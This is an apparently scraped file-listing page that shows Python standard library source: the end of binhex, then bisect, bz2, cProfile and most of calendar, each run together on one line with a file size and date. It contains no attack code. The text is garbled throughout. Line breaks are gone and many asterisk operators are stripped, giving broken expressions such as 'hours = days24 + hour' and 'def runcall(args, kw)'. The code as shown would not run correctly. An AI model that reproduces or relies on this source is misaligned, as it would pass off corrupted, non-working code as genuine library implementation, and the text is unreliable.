(which show up as \n\r, hence # all lines start with \r) if ch == b'\r': continue if ch == b':': break hqxifp = _Hqxdecoderengine(ifp) self.ifp = _Rledecoderengine(hqxifp) self.crc = 0 self._readheader() def _read(self, len): data = self.ifp.read(len) self.crc = binascii.crc_hqx(data, self.crc) return data def _checkcrc(self): filecrc = struct.unpack('>h', self.ifp.read(2))[0] & 0xffff #self.crc = binascii.crc_hqx('\0\0', self.crc) # XXXX Is this needed?? self.crc = self.crc & 0xffff if filecrc != self.crc: raise Error('CRC error, computed %x, read %x' % (self.crc, filecrc)) self.crc = 0 def _readheader(self): len = self._read(1) fname = self._read(ord(len)) rest = self._read(1 + 4 + 4 + 2 + 4 + 4) self._checkcrc() type = rest[1:5] creator = rest[5:9] flags = struct.unpack('>h', rest[9:11])[0] self.dlen = struct.unpack('>l', rest[11:15])[0] self.rlen = struct.unpack('>l', rest[15:19])[0] self.FName = fname self.FInfo = FInfo() self.FInfo.Creator = creator self.FInfo.Type = type self.FInfo.Flags = flags self.state = _DID_HEADER def read(self, n): if self.state != _DID_HEADER: raise Error('Read data at wrong time') if n: n = n[0] n = min(n, self.dlen) else: n = self.dlen rv = b'' while len(rv) < n: rv = rv + self._read(n-len(rv)) self.dlen = self.dlen - n return rv def close_data(self): if self.state != _DID_HEADER: raise Error('close_data at wrong time') if self.dlen: dummy = self._read(self.dlen) self._checkcrc() self.state = _DID_DATA def read_rsrc(self, n): if self.state == _DID_HEADER: self.close_data() if self.state != _DID_DATA: raise Error('Read resource data at wrong time') if n: n = n[0] n = min(n, self.rlen) else: n = self.rlen self.rlen = self.rlen - n return self._read(n) def close(self): if self.state is None: return try: if self.rlen: dummy = self.read_rsrc(self.rlen) self._checkcrc() finally: self.state = None self.ifp.close() def hexbin(inp, out): """hexbin(infilename, outfilename) - Decode binhexed file""" ifp = HexBin(inp) finfo = ifp.FInfo if not out: out = ifp.FName with io.open(out, 'wb') as ofp: # XXXX Do translation on non-mac systems while True: d = ifp.read(128000) if not d: break ofp.write(d) ifp.close_data() d = ifp.read_rsrc(128000) if d: ofp = openrsrc(out, 'wb') ofp.write(d) while True: d = ifp.read_rsrc(128000) if not d: break ofp.write(d) ofp.close() ifp.close()	13.63 KB	2024-04-17 17:55
📄 bisect.py """Bisection algorithms.""" def insort_right(a, x, lo=0, hi=None): """Insert item x in list a, and keep it sorted assuming a is sorted. If x is already in a, insert it to the right of the rightmost x. Optional args lo (default 0) and hi (default len(a)) bound the slice of a to be searched. """ if lo < 0: raise ValueError('lo must be non-negative') if hi is None: hi = len(a) while lo < hi: mid = (lo+hi)//2 if x < a[mid]: hi = mid else: lo = mid+1 a.insert(lo, x) def bisect_right(a, x, lo=0, hi=None): """Return the index where to insert item x in list a, assuming a is sorted. The return value i is such that all e in a[:i] have e <= x, and all e in a[i:] have e > x. So if x already appears in the list, a.insert(x) will insert just after the rightmost x already there. Optional args lo (default 0) and hi (default len(a)) bound the slice of a to be searched. """ if lo < 0: raise ValueError('lo must be non-negative') if hi is None: hi = len(a) while lo < hi: mid = (lo+hi)//2 if x < a[mid]: hi = mid else: lo = mid+1 return lo def insort_left(a, x, lo=0, hi=None): """Insert item x in list a, and keep it sorted assuming a is sorted. If x is already in a, insert it to the left of the leftmost x. Optional args lo (default 0) and hi (default len(a)) bound the slice of a to be searched. """ if lo < 0: raise ValueError('lo must be non-negative') if hi is None: hi = len(a) while lo < hi: mid = (lo+hi)//2 if a[mid] < x: lo = mid+1 else: hi = mid a.insert(lo, x) def bisect_left(a, x, lo=0, hi=None): """Return the index where to insert item x in list a, assuming a is sorted. The return value i is such that all e in a[:i] have e < x, and all e in a[i:] have e >= x. So if x already appears in the list, a.insert(x) will insert just before the leftmost x already there. Optional args lo (default 0) and hi (default len(a)) bound the slice of a to be searched. """ if lo < 0: raise ValueError('lo must be non-negative') if hi is None: hi = len(a) while lo < hi: mid = (lo+hi)//2 if a[mid] < x: lo = mid+1 else: hi = mid return lo # Overwrite above definitions with a fast C implementation try: from _bisect import * except ImportError: pass # Create aliases bisect = bisect_right insort = insort_right	2.5 KB	2024-04-17 17:55
📄 bz2.py """Interface to the libbzip2 compression library. This module provides a file interface, classes for incremental (de)compression, and functions for one-shot (de)compression. """ __all__ = ["BZ2File", "BZ2Compressor", "BZ2Decompressor", "open", "compress", "decompress"] __author__ = "Nadeem Vawda <nadeem.vawda@gmail.com>" from builtins import open as _builtin_open import io import os import warnings import _compression from threading import RLock from _bz2 import BZ2Compressor, BZ2Decompressor _MODE_CLOSED = 0 _MODE_READ = 1 # Value 2 no longer used _MODE_WRITE = 3 class BZ2File(_compression.BaseStream): """A file object providing transparent bzip2 (de)compression. A BZ2File can act as a wrapper for an existing file object, or refer directly to a named file on disk. Note that BZ2File provides a binary file interface - data read is returned as bytes, and data to be written should be given as bytes. """ def __init__(self, filename, mode="r", buffering=None, compresslevel=9): """Open a bzip2-compressed file. If filename is a str, bytes, or PathLike object, it gives the name of the file to be opened. Otherwise, it should be a file object, which will be used to read or write the compressed data. mode can be 'r' for reading (default), 'w' for (over)writing, 'x' for creating exclusively, or 'a' for appending. These can equivalently be given as 'rb', 'wb', 'xb', and 'ab'. buffering is ignored. Its use is deprecated. If mode is 'w', 'x' or 'a', compresslevel can be a number between 1 and 9 specifying the level of compression: 1 produces the least compression, and 9 (default) produces the most compression. If mode is 'r', the input file may be the concatenation of multiple compressed streams. """ # This lock must be recursive, so that BufferedIOBase's # writelines() does not deadlock. self._lock = RLock() self._fp = None self._closefp = False self._mode = _MODE_CLOSED if buffering is not None: warnings.warn("Use of 'buffering' argument is deprecated", DeprecationWarning) if not (1 <= compresslevel <= 9): raise ValueError("compresslevel must be between 1 and 9") if mode in ("", "r", "rb"): mode = "rb" mode_code = _MODE_READ elif mode in ("w", "wb"): mode = "wb" mode_code = _MODE_WRITE self._compressor = BZ2Compressor(compresslevel) elif mode in ("x", "xb"): mode = "xb" mode_code = _MODE_WRITE self._compressor = BZ2Compressor(compresslevel) elif mode in ("a", "ab"): mode = "ab" mode_code = _MODE_WRITE self._compressor = BZ2Compressor(compresslevel) else: raise ValueError("Invalid mode: %r" % (mode,)) if isinstance(filename, (str, bytes, os.PathLike)): self._fp = _builtin_open(filename, mode) self._closefp = True self._mode = mode_code elif hasattr(filename, "read") or hasattr(filename, "write"): self._fp = filename self._mode = mode_code else: raise TypeError("filename must be a str, bytes, file or PathLike object") if self._mode == _MODE_READ: raw = _compression.DecompressReader(self._fp, BZ2Decompressor, trailing_error=OSError) self._buffer = io.BufferedReader(raw) else: self._pos = 0 def close(self): """Flush and close the file. May be called more than once without error. Once the file is closed, any other operation on it will raise a ValueError. """ with self._lock: if self._mode == _MODE_CLOSED: return try: if self._mode == _MODE_READ: self._buffer.close() elif self._mode == _MODE_WRITE: self._fp.write(self._compressor.flush()) self._compressor = None finally: try: if self._closefp: self._fp.close() finally: self._fp = None self._closefp = False self._mode = _MODE_CLOSED self._buffer = None @property def closed(self): """True if this file is closed.""" return self._mode == _MODE_CLOSED def fileno(self): """Return the file descriptor for the underlying file.""" self._check_not_closed() return self._fp.fileno() def seekable(self): """Return whether the file supports seeking.""" return self.readable() and self._buffer.seekable() def readable(self): """Return whether the file was opened for reading.""" self._check_not_closed() return self._mode == _MODE_READ def writable(self): """Return whether the file was opened for writing.""" self._check_not_closed() return self._mode == _MODE_WRITE def peek(self, n=0): """Return buffered data without advancing the file position. Always returns at least one byte of data, unless at EOF. The exact number of bytes returned is unspecified. """ with self._lock: self._check_can_read() # Relies on the undocumented fact that BufferedReader.peek() # always returns at least one byte (except at EOF), independent # of the value of n return self._buffer.peek(n) def read(self, size=-1): """Read up to size uncompressed bytes from the file. If size is negative or omitted, read until EOF is reached. Returns b'' if the file is already at EOF. """ with self._lock: self._check_can_read() return self._buffer.read(size) def read1(self, size=-1): """Read up to size uncompressed bytes, while trying to avoid making multiple reads from the underlying stream. Reads up to a buffer's worth of data if size is negative. Returns b'' if the file is at EOF. """ with self._lock: self._check_can_read() if size < 0: size = io.DEFAULT_BUFFER_SIZE return self._buffer.read1(size) def readinto(self, b): """Read bytes into b. Returns the number of bytes read (0 for EOF). """ with self._lock: self._check_can_read() return self._buffer.readinto(b) def readline(self, size=-1): """Read a line of uncompressed bytes from the file. The terminating newline (if present) is retained. If size is non-negative, no more than size bytes will be read (in which case the line may be incomplete). Returns b'' if already at EOF. """ if not isinstance(size, int): if not hasattr(size, "__index__"): raise TypeError("Integer argument expected") size = size.__index__() with self._lock: self._check_can_read() return self._buffer.readline(size) def readlines(self, size=-1): """Read a list of lines of uncompressed bytes from the file. size can be specified to control the number of lines read: no further lines will be read once the total size of the lines read so far equals or exceeds size. """ if not isinstance(size, int): if not hasattr(size, "__index__"): raise TypeError("Integer argument expected") size = size.__index__() with self._lock: self._check_can_read() return self._buffer.readlines(size) def write(self, data): """Write a byte string to the file. Returns the number of uncompressed bytes written, which is always len(data). Note that due to buffering, the file on disk may not reflect the data written until close() is called. """ with self._lock: self._check_can_write() compressed = self._compressor.compress(data) self._fp.write(compressed) self._pos += len(data) return len(data) def writelines(self, seq): """Write a sequence of byte strings to the file. Returns the number of uncompressed bytes written. seq can be any iterable yielding byte strings. Line separators are not added between the written byte strings. """ with self._lock: return _compression.BaseStream.writelines(self, seq) def seek(self, offset, whence=io.SEEK_SET): """Change the file position. The new position is specified by offset, relative to the position indicated by whence. Values for whence are: 0: start of stream (default); offset must not be negative 1: current stream position 2: end of stream; offset must not be positive Returns the new file position. Note that seeking is emulated, so depending on the parameters, this operation may be extremely slow. """ with self._lock: self._check_can_seek() return self._buffer.seek(offset, whence) def tell(self): """Return the current file position.""" with self._lock: self._check_not_closed() if self._mode == _MODE_READ: return self._buffer.tell() return self._pos def open(filename, mode="rb", compresslevel=9, encoding=None, errors=None, newline=None): """Open a bzip2-compressed file in binary or text mode. The filename argument can be an actual filename (a str, bytes, or PathLike object), or an existing file object to read from or write to. The mode argument can be "r", "rb", "w", "wb", "x", "xb", "a" or "ab" for binary mode, or "rt", "wt", "xt" or "at" for text mode. The default mode is "rb", and the default compresslevel is 9. For binary mode, this function is equivalent to the BZ2File constructor: BZ2File(filename, mode, compresslevel). In this case, the encoding, errors and newline arguments must not be provided. For text mode, a BZ2File object is created, and wrapped in an io.TextIOWrapper instance with the specified encoding, error handling behavior, and line ending(s). """ if "t" in mode: if "b" in mode: raise ValueError("Invalid mode: %r" % (mode,)) else: if encoding is not None: raise ValueError("Argument 'encoding' not supported in binary mode") if errors is not None: raise ValueError("Argument 'errors' not supported in binary mode") if newline is not None: raise ValueError("Argument 'newline' not supported in binary mode") bz_mode = mode.replace("t", "") binary_file = BZ2File(filename, bz_mode, compresslevel=compresslevel) if "t" in mode: return io.TextIOWrapper(binary_file, encoding, errors, newline) else: return binary_file def compress(data, compresslevel=9): """Compress a block of data. compresslevel, if given, must be a number between 1 and 9. For incremental compression, use a BZ2Compressor object instead. """ comp = BZ2Compressor(compresslevel) return comp.compress(data) + comp.flush() def decompress(data): """Decompress a block of data. For incremental decompression, use a BZ2Decompressor object instead. """ results = [] while data: decomp = BZ2Decompressor() try: res = decomp.decompress(data) except OSError: if results: break # Leftover data is not a valid bzip2 stream; ignore it. else: raise # Error on the first iteration; bail out. results.append(res) if not decomp.eof: raise ValueError("Compressed data ended before the " "end-of-stream marker was reached") data = decomp.unused_data return b"".join(results)	12.12 KB	2024-04-17 17:55
📄 cProfile.py #! /opt/alt/python37/bin/python3.7 """Python interface for the 'lsprof' profiler. Compatible with the 'profile' module. """ __all__ = ["run", "runctx", "Profile"] import _lsprof import profile as _pyprofile # ____________________________________________________________ # Simple interface def run(statement, filename=None, sort=-1): return _pyprofile._Utils(Profile).run(statement, filename, sort) def runctx(statement, globals, locals, filename=None, sort=-1): return _pyprofile._Utils(Profile).runctx(statement, globals, locals, filename, sort) run.__doc__ = _pyprofile.run.__doc__ runctx.__doc__ = _pyprofile.runctx.__doc__ # ____________________________________________________________ class Profile(_lsprof.Profiler): """Profile(timer=None, timeunit=None, subcalls=True, builtins=True) Builds a profiler object using the specified timer function. The default timer is a fast built-in one based on real time. For custom timer functions returning integers, timeunit can be a float specifying a scale (i.e. how long each integer unit is, in seconds). """ # Most of the functionality is in the base class. # This subclass only adds convenient and backward-compatible methods. def print_stats(self, sort=-1): import pstats pstats.Stats(self).strip_dirs().sort_stats(sort).print_stats() def dump_stats(self, file): import marshal with open(file, 'wb') as f: self.create_stats() marshal.dump(self.stats, f) def create_stats(self): self.disable() self.snapshot_stats() def snapshot_stats(self): entries = self.getstats() self.stats = {} callersdicts = {} # call information for entry in entries: func = label(entry.code) nc = entry.callcount # ncalls column of pstats (before '/') cc = nc - entry.reccallcount # ncalls column of pstats (after '/') tt = entry.inlinetime # tottime column of pstats ct = entry.totaltime # cumtime column of pstats callers = {} callersdicts[id(entry.code)] = callers self.stats[func] = cc, nc, tt, ct, callers # subcall information for entry in entries: if entry.calls: func = label(entry.code) for subentry in entry.calls: try: callers = callersdicts[id(subentry.code)] except KeyError: continue nc = subentry.callcount cc = nc - subentry.reccallcount tt = subentry.inlinetime ct = subentry.totaltime if func in callers: prev = callers[func] nc += prev[0] cc += prev[1] tt += prev[2] ct += prev[3] callers[func] = nc, cc, tt, ct # The following two methods can be called by clients to use # a profiler to profile a statement, given as a string. def run(self, cmd): import __main__ dict = __main__.__dict__ return self.runctx(cmd, dict, dict) def runctx(self, cmd, globals, locals): self.enable() try: exec(cmd, globals, locals) finally: self.disable() return self # This method is more useful to profile a single function call. def runcall(args, kw): if len(args) >= 2: self, func, args = args elif not args: raise TypeError("descriptor 'runcall' of 'Profile' object " "needs an argument") elif 'func' in kw: func = kw.pop('func') self, args = args else: raise TypeError('runcall expected at least 1 positional argument, ' 'got %d' % (len(args)-1)) self.enable() try: return func(args, **kw) finally: self.disable() # ____________________________________________________________ def label(code): if isinstance(code, str): return ('~', 0, code) # built-in functions ('~' sorts at the end) else: return (code.co_filename, code.co_firstlineno, code.co_name) # ____________________________________________________________ def main(): import os import sys import runpy import pstats from optparse import OptionParser usage = "cProfile.py [-o output_file_path] [-s sort] [-m module \| scriptfile] [arg] ..." parser = OptionParser(usage=usage) parser.allow_interspersed_args = False parser.add_option('-o', '--outfile', dest="outfile", help="Save stats to <outfile>", default=None) parser.add_option('-s', '--sort', dest="sort", help="Sort order when printing to stdout, based on pstats.Stats class", default=-1, choices=sorted(pstats.Stats.sort_arg_dict_default)) parser.add_option('-m', dest="module", action="store_true", help="Profile a library module", default=False) if not sys.argv[1:]: parser.print_usage() sys.exit(2) (options, args) = parser.parse_args() sys.argv[:] = args if len(args) > 0: if options.module: code = "run_module(modname, run_name='__main__')" globs = { 'run_module': runpy.run_module, 'modname': args[0] } else: progname = args[0] sys.path.insert(0, os.path.dirname(progname)) with open(progname, 'rb') as fp: code = compile(fp.read(), progname, 'exec') globs = { '__file__': progname, '__name__': '__main__', '__package__': None, '__cached__': None, } runctx(code, globs, None, options.outfile, options.sort) else: parser.print_usage() return parser # When invoked as main program, invoke the profiler on a script if __name__ == '__main__': main()	6.11 KB	2024-04-17 17:55
📄 calendar.py """Calendar printing functions Note when comparing these calendars to the ones printed by cal(1): By default, these calendars have Monday as the first day of the week, and Sunday as the last (the European convention). Use setfirstweekday() to set the first day of the week (0=Monday, 6=Sunday).""" import sys import datetime import locale as _locale from itertools import repeat __all__ = ["IllegalMonthError", "IllegalWeekdayError", "setfirstweekday", "firstweekday", "isleap", "leapdays", "weekday", "monthrange", "monthcalendar", "prmonth", "month", "prcal", "calendar", "timegm", "month_name", "month_abbr", "day_name", "day_abbr", "Calendar", "TextCalendar", "HTMLCalendar", "LocaleTextCalendar", "LocaleHTMLCalendar", "weekheader"] # Exception raised for bad input (with string parameter for details) error = ValueError # Exceptions raised for bad input class IllegalMonthError(ValueError): def __init__(self, month): self.month = month def __str__(self): return "bad month number %r; must be 1-12" % self.month class IllegalWeekdayError(ValueError): def __init__(self, weekday): self.weekday = weekday def __str__(self): return "bad weekday number %r; must be 0 (Monday) to 6 (Sunday)" % self.weekday # Constants for months referenced later January = 1 February = 2 # Number of days per month (except for February in leap years) mdays = [0, 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31] # This module used to have hard-coded lists of day and month names, as # English strings. The classes following emulate a read-only version of # that, but supply localized names. Note that the values are computed # fresh on each call, in case the user changes locale between calls. class _localized_month: _months = [datetime.date(2001, i+1, 1).strftime for i in range(12)] _months.insert(0, lambda x: "") def __init__(self, format): self.format = format def __getitem__(self, i): funcs = self._months[i] if isinstance(i, slice): return [f(self.format) for f in funcs] else: return funcs(self.format) def __len__(self): return 13 class _localized_day: # January 1, 2001, was a Monday. _days = [datetime.date(2001, 1, i+1).strftime for i in range(7)] def __init__(self, format): self.format = format def __getitem__(self, i): funcs = self._days[i] if isinstance(i, slice): return [f(self.format) for f in funcs] else: return funcs(self.format) def __len__(self): return 7 # Full and abbreviated names of weekdays day_name = _localized_day('%A') day_abbr = _localized_day('%a') # Full and abbreviated names of months (1-based arrays!!!) month_name = _localized_month('%B') month_abbr = _localized_month('%b') # Constants for weekdays (MONDAY, TUESDAY, WEDNESDAY, THURSDAY, FRIDAY, SATURDAY, SUNDAY) = range(7) def isleap(year): """Return True for leap years, False for non-leap years.""" return year % 4 == 0 and (year % 100 != 0 or year % 400 == 0) def leapdays(y1, y2): """Return number of leap years in range [y1, y2). Assume y1 <= y2.""" y1 -= 1 y2 -= 1 return (y2//4 - y1//4) - (y2//100 - y1//100) + (y2//400 - y1//400) def weekday(year, month, day): """Return weekday (0-6 ~ Mon-Sun) for year, month (1-12), day (1-31).""" if not datetime.MINYEAR <= year <= datetime.MAXYEAR: year = 2000 + year % 400 return datetime.date(year, month, day).weekday() def monthrange(year, month): """Return weekday (0-6 ~ Mon-Sun) and number of days (28-31) for year, month.""" if not 1 <= month <= 12: raise IllegalMonthError(month) day1 = weekday(year, month, 1) ndays = mdays[month] + (month == February and isleap(year)) return day1, ndays def monthlen(year, month): return mdays[month] + (month == February and isleap(year)) def prevmonth(year, month): if month == 1: return year-1, 12 else: return year, month-1 def nextmonth(year, month): if month == 12: return year+1, 1 else: return year, month+1 class Calendar(object): """ Base calendar class. This class doesn't do any formatting. It simply provides data to subclasses. """ def __init__(self, firstweekday=0): self.firstweekday = firstweekday # 0 = Monday, 6 = Sunday def getfirstweekday(self): return self._firstweekday % 7 def setfirstweekday(self, firstweekday): self._firstweekday = firstweekday firstweekday = property(getfirstweekday, setfirstweekday) def iterweekdays(self): """ Return an iterator for one week of weekday numbers starting with the configured first one. """ for i in range(self.firstweekday, self.firstweekday + 7): yield i%7 def itermonthdates(self, year, month): """ Return an iterator for one month. The iterator will yield datetime.date values and will always iterate through complete weeks, so it will yield dates outside the specified month. """ for y, m, d in self.itermonthdays3(year, month): yield datetime.date(y, m, d) def itermonthdays(self, year, month): """ Like itermonthdates(), but will yield day numbers. For days outside the specified month the day number is 0. """ day1, ndays = monthrange(year, month) days_before = (day1 - self.firstweekday) % 7 yield from repeat(0, days_before) yield from range(1, ndays + 1) days_after = (self.firstweekday - day1 - ndays) % 7 yield from repeat(0, days_after) def itermonthdays2(self, year, month): """ Like itermonthdates(), but will yield (day number, weekday number) tuples. For days outside the specified month the day number is 0. """ for i, d in enumerate(self.itermonthdays(year, month), self.firstweekday): yield d, i % 7 def itermonthdays3(self, year, month): """ Like itermonthdates(), but will yield (year, month, day) tuples. Can be used for dates outside of datetime.date range. """ day1, ndays = monthrange(year, month) days_before = (day1 - self.firstweekday) % 7 days_after = (self.firstweekday - day1 - ndays) % 7 y, m = prevmonth(year, month) end = monthlen(y, m) + 1 for d in range(end-days_before, end): yield y, m, d for d in range(1, ndays + 1): yield year, month, d y, m = nextmonth(year, month) for d in range(1, days_after + 1): yield y, m, d def itermonthdays4(self, year, month): """ Like itermonthdates(), but will yield (year, month, day, day_of_week) tuples. Can be used for dates outside of datetime.date range. """ for i, (y, m, d) in enumerate(self.itermonthdays3(year, month)): yield y, m, d, (self.firstweekday + i) % 7 def monthdatescalendar(self, year, month): """ Return a matrix (list of lists) representing a month's calendar. Each row represents a week; week entries are datetime.date values. """ dates = list(self.itermonthdates(year, month)) return [ dates[i:i+7] for i in range(0, len(dates), 7) ] def monthdays2calendar(self, year, month): """ Return a matrix representing a month's calendar. Each row represents a week; week entries are (day number, weekday number) tuples. Day numbers outside this month are zero. """ days = list(self.itermonthdays2(year, month)) return [ days[i:i+7] for i in range(0, len(days), 7) ] def monthdayscalendar(self, year, month): """ Return a matrix representing a month's calendar. Each row represents a week; days outside this month are zero. """ days = list(self.itermonthdays(year, month)) return [ days[i:i+7] for i in range(0, len(days), 7) ] def yeardatescalendar(self, year, width=3): """ Return the data for the specified year ready for formatting. The return value is a list of month rows. Each month row contains up to width months. Each month contains between 4 and 6 weeks and each week contains 1-7 days. Days are datetime.date objects. """ months = [ self.monthdatescalendar(year, i) for i in range(January, January+12) ] return [months[i:i+width] for i in range(0, len(months), width) ] def yeardays2calendar(self, year, width=3): """ Return the data for the specified year ready for formatting (similar to yeardatescalendar()). Entries in the week lists are (day number, weekday number) tuples. Day numbers outside this month are zero. """ months = [ self.monthdays2calendar(year, i) for i in range(January, January+12) ] return [months[i:i+width] for i in range(0, len(months), width) ] def yeardayscalendar(self, year, width=3): """ Return the data for the specified year ready for formatting (similar to yeardatescalendar()). Entries in the week lists are day numbers. Day numbers outside this month are zero. """ months = [ self.monthdayscalendar(year, i) for i in range(January, January+12) ] return [months[i:i+width] for i in range(0, len(months), width) ] class TextCalendar(Calendar): """ Subclass of Calendar that outputs a calendar as a simple plain text similar to the UNIX program cal. """ def prweek(self, theweek, width): """ Print a single week (no newline). """ print(self.formatweek(theweek, width), end='') def formatday(self, day, weekday, width): """ Returns a formatted day. """ if day == 0: s = '' else: s = '%2i' % day # right-align single-digit days return s.center(width) def formatweek(self, theweek, width): """ Returns a single week in a string (no newline). """ return ' '.join(self.formatday(d, wd, width) for (d, wd) in theweek) def formatweekday(self, day, width): """ Returns a formatted week day name. """ if width >= 9: names = day_name else: names = day_abbr return names[day][:width].center(width) def formatweekheader(self, width): """ Return a header for a week. """ return ' '.join(self.formatweekday(i, width) for i in self.iterweekdays()) def formatmonthname(self, theyear, themonth, width, withyear=True): """ Return a formatted month name. """ s = month_name[themonth] if withyear: s = "%s %r" % (s, theyear) return s.center(width) def prmonth(self, theyear, themonth, w=0, l=0): """ Print a month's calendar. """ print(self.formatmonth(theyear, themonth, w, l), end='') def formatmonth(self, theyear, themonth, w=0, l=0): """ Return a month's calendar string (multi-line). """ w = max(2, w) l = max(1, l) s = self.formatmonthname(theyear, themonth, 7 * (w + 1) - 1) s = s.rstrip() s += '\n' * l s += self.formatweekheader(w).rstrip() s += '\n' * l for week in self.monthdays2calendar(theyear, themonth): s += self.formatweek(week, w).rstrip() s += '\n' * l return s def formatyear(self, theyear, w=2, l=1, c=6, m=3): """ Returns a year's calendar as a multi-line string. """ w = max(2, w) l = max(1, l) c = max(2, c) colwidth = (w + 1) * 7 - 1 v = [] a = v.append a(repr(theyear).center(colwidthm+c(m-1)).rstrip()) a('\n'l) header = self.formatweekheader(w) for (i, row) in enumerate(self.yeardays2calendar(theyear, m)): # months in this row months = range(mi+1, min(m(i+1)+1, 13)) a('\n'l) names = (self.formatmonthname(theyear, k, colwidth, False) for k in months) a(formatstring(names, colwidth, c).rstrip()) a('\n'l) headers = (header for k in months) a(formatstring(headers, colwidth, c).rstrip()) a('\n'l) # max number of weeks for this row height = max(len(cal) for cal in row) for j in range(height): weeks = [] for cal in row: if j >= len(cal): weeks.append('') else: weeks.append(self.formatweek(cal[j], w)) a(formatstring(weeks, colwidth, c).rstrip()) a('\n' * l) return ''.join(v) def pryear(self, theyear, w=0, l=0, c=6, m=3): """Print a year's calendar.""" print(self.formatyear(theyear, w, l, c, m), end='') class HTMLCalendar(Calendar): """ This calendar returns complete HTML pages. """ # CSS classes for the day <td>s cssclasses = ["mon", "tue", "wed", "thu", "fri", "sat", "sun"] # CSS classes for the day <th>s cssclasses_weekday_head = cssclasses # CSS class for the days before and after current month cssclass_noday = "noday" # CSS class for the month's head cssclass_month_head = "month" # CSS class for the month cssclass_month = "month" # CSS class for the year's table head cssclass_year_head = "year" # CSS class for the whole year table cssclass_year = "year" def formatday(self, day, weekday): """ Return a day as a table cell. """ if day == 0: # day outside month return '<td class="%s"> </td>' % self.cssclass_noday else: return '<td class="%s">%d</td>' % (self.cssclasses[weekday], day) def formatweek(self, theweek): """ Return a complete week as a table row. """ s = ''.join(self.formatday(d, wd) for (d, wd) in theweek) return '<tr>%s</tr>' % s def formatweekday(self, day): """ Return a weekday name as a table header. """ return '<th class="%s">%s</th>' % ( self.cssclasses_weekday_head[day], day_abbr[day]) def formatweekheader(self): """ Return a header for a week as a table row. """ s = ''.join(self.formatweekday(i) for i in self.iterweekdays()) return '<tr>%s</tr>' % s def formatmonthname(self, theyear, themonth, withyear=True): """ Return a month name as a table row. """ if withyear: s = '%s %s' % (month_name[themonth], theyear) else: s = '%s' % month_name[themonth] return '<tr><th colspan="7" class="%s">%s</th></tr>' % ( self.cssclass_month_head, s) def formatmonth(self, theyear, themonth, withyear=True): """ Return a formatted month as a table. """ v = [] a = v.append a('<table border="0" cellpadding="0" cellspacing="0" class="%s">' % ( self.cssclass_month)) a('\n') a(self.formatmonthname(theyear, themonth, withyear=withyear)) a('\n') a(self.formatweekheader()) a('\n') for week in self.monthdays2calendar(theyear, themonth): a(self.formatweek(week)) a('\n') a('</table>') a('\n') return ''.join(v) def formatyear(self, theyear, width=3): """ Return a formatted year as a table of tables. """ v = [] a = v.append width = max(width, 1) a('<table border="0" cellpadding="0" cellspacing="0" class="%s">' % self.cssclass_year) a('\n') a('<tr><th colspan="%d" class="%s">%s</th></tr>' % ( width, self.cssclass_year_head, theyear)) for i in range(January, January+12, width): # months in this row months = range(i, min(i+width, 13)) a('<tr>') for m in months: a('<td>') a(self.formatmonth(theyear, m, withyear=False)) a('</td>') a('</tr>') a('</table>') return ''.join(v) def formatyearpage(self, theyear, width=3, css='calendar.css', encoding=None): """ Return a formatted year as a complete HTML page. """ if encoding is None: encoding = sys.getdefaultencoding() v = [] a = v.append a('<?xml version="1.0" encoding="%s"?>\n' % encoding) a('<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">\n') a('<html>\n') a('<head>\n') a('<meta http-equiv="Content-Type" content="text/html; charset=%s" />\n' % encoding) if css is not None: a('<link rel="stylesheet" type="text/css" href="%s" />\n' % css) a('<title>Calendar for %d</title>\n' % theyear) a('</head>\n') a('<body>\n') a(self.formatyear(theyear, width)) a('</body>\n') a('</html>\n') return ''.join(v).encode(encoding, "xmlcharrefreplace") class different_locale: def __init__(self, locale): self.locale = locale def __enter__(self): self.oldlocale = _locale.getlocale(_locale.LC_TIME) _locale.setlocale(_locale.LC_TIME, self.locale) def __exit__(self, args): _locale.setlocale(_locale.LC_TIME, self.oldlocale) class LocaleTextCalendar(TextCalendar): """ This class can be passed a locale name in the constructor and will return month and weekday names in the specified locale. If this locale includes an encoding all strings containing month and weekday names will be returned as unicode. """ def __init__(self, firstweekday=0, locale=None): TextCalendar.__init__(self, firstweekday) if locale is None: locale = _locale.getdefaultlocale() self.locale = locale def formatweekday(self, day, width): with different_locale(self.locale): if width >= 9: names = day_name else: names = day_abbr name = names[day] return name[:width].center(width) def formatmonthname(self, theyear, themonth, width, withyear=True): with different_locale(self.locale): s = month_name[themonth] if withyear: s = "%s %r" % (s, theyear) return s.center(width) class LocaleHTMLCalendar(HTMLCalendar): """ This class can be passed a locale name in the constructor and will return month and weekday names in the specified locale. If this locale includes an encoding all strings containing month and weekday names will be returned as unicode. """ def __init__(self, firstweekday=0, locale=None): HTMLCalendar.__init__(self, firstweekday) if locale is None: locale = _locale.getdefaultlocale() self.locale = locale def formatweekday(self, day): with different_locale(self.locale): s = day_abbr[day] return '<th class="%s">%s</th>' % (self.cssclasses[day], s) def formatmonthname(self, theyear, themonth, withyear=True): with different_locale(self.locale): s = month_name[themonth] if withyear: s = '%s %s' % (s, theyear) return '<tr><th colspan="7" class="month">%s</th></tr>' % s # Support for old module level interface c = TextCalendar() firstweekday = c.getfirstweekday def setfirstweekday(firstweekday): if not MONDAY <= firstweekday <= SUNDAY: raise IllegalWeekdayError(firstweekday) c.firstweekday = firstweekday monthcalendar = c.monthdayscalendar prweek = c.prweek week = c.formatweek weekheader = c.formatweekheader prmonth = c.prmonth month = c.formatmonth calendar = c.formatyear prcal = c.pryear # Spacing of month columns for multi-column year calendar _colwidth = 73 - 1 # Amount printed by prweek() _spacing = 6 # Number of spaces between columns def format(cols, colwidth=_colwidth, spacing=_spacing): """Prints multi-column formatting for year calendars""" print(formatstring(cols, colwidth, spacing)) def formatstring(cols, colwidth=_colwidth, spacing=_spacing): """Returns a string formatted from n strings, centered within n columns.""" spacing = ' ' return spacing.join(c.center(colwidth) for c in cols) EPOCH = 1970 _EPOCH_ORD = datetime.date(EPOCH, 1, 1).toordinal() def timegm(tuple): """Unrelated but handy function to calculate Unix timestamp from GMT.""" year, month, day, hour, minute, second = tuple[:6] days = datetime.date(year, month, 1).toordinal() - _EPOCH_ORD + day - 1 hours = days24 + hour minutes = hours60 + minute seconds = minutes60 + second return seconds def main(args): import argparse parser = argparse.ArgumentParser() textgroup = parser.add_argument_group('text only arguments') htmlgroup = parser.add_argument_group('html only arguments') textgroup.add_argument( "-w", "--width", type=int, default=2, help="width of date column (default 2)" ) textgroup.add_argument( "-l", "--lines", type=int, default=1, help="number of lines for each week (default 1)" ) textgroup.add_argument( "-s", "--spacing", type=int, default=6, 